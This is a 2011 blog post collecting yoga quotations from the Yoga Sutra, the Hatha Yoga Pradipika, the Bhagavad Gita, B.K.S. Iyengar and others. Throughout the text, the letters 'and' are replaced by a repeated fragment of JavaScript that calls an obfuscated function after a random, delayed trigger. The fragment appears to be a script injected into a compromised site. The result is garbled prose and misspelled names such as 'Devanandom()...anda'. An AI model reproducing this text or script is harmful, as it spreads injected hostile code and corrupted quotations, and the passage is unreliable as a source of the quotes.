Quotables: Yoga

Sunday, April 17th, 2011

In honor of all the great yoga teachers at Mahasukha, this month’s selection of quotes will focus on yoga philosophy on andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and off the mat. What follows are snippets from some of the world’s greatest religious texts, advice from leading yogis today, as well as a few quotes showing us that yogis can have a sense of humor.

“Health is wealth. Peace of mind is happiness. Yoga shows the way.” -~Swami Vishnu-Devanandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anda

Undisturbed calmness of mind is attained by cultivating friendliness toward the happy, compassion for the unhappy, delight in the virtuous, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and indifference toward the wicked. ~Pantanjali, Yoga Sutra

Anyone who practices can obtain success in yoga but not one who is lazy. Constant practice alone is the secret of success. ~Svatmarama,Hatha Yoga Pradipika

Yoga, an ancient but perfect science, deals with the evolution of humanity. This evolution includes all aspects of one’s being, from bodily health to self-realization. Yoga means union – the union of body with consciousness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and consciousness with the soul. Yoga cultivates the ways of maintaining a balanced attitude in day-to-day life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and endows skill in the performance of one’s actions. ~B.K.S. Iyengar, Astadala Yogamala

All unimportant matters drop off you in ragdoll pose. Very few things are genuinely important. The Truth sways before you. ~Terri Guillemets

Blessed are the flexible, for they shall not be bent out of shape. ~Author Unknown

The man of yoga is greater than ascetics, or the learned, or those who perform the rituals; therefore be a man of yoga my son. Practice yoga sincerely, with single-minded devotion, love me with perfect faith, bring your whole self to me. ~ Krisha to Arjuna, Bhagavad Gita.

“Yoga believes in transforming the individual before transforming the world.” ~ Sri Swami Satchidanandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anda

“I wish that the message of Peace may be experienced through Yoga, which is not only a culture of the body but the evolution of the Self.” ~Yogacharya B.K.S. Iyengar

The yoga mat is a good place to turn when talk therapy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and antidepressants aren’t enough. ~Amy Weintraub

Mountain pose teaches us, literally, how to standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on our own two feet…. teaching us to root ourselves into the earth…. Our bodies become a connection between heaven andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and earth. ~Carol Krucoff

If it seems like everything is coming at you, maybe you’re in the wrong lane. ~Author Unknown

When the breath wandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anders the mind also is unsteady. But when the breath is calmed the mind too will be still, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the yogi achieves long life. Therefore, one should learn to control the breath. ~ Svatmarama, Hatha Yoga Pradipika

“Yoga began with the first person wanting to be healthy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and happy all the time.” – Sri Swami Satchidanandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anda

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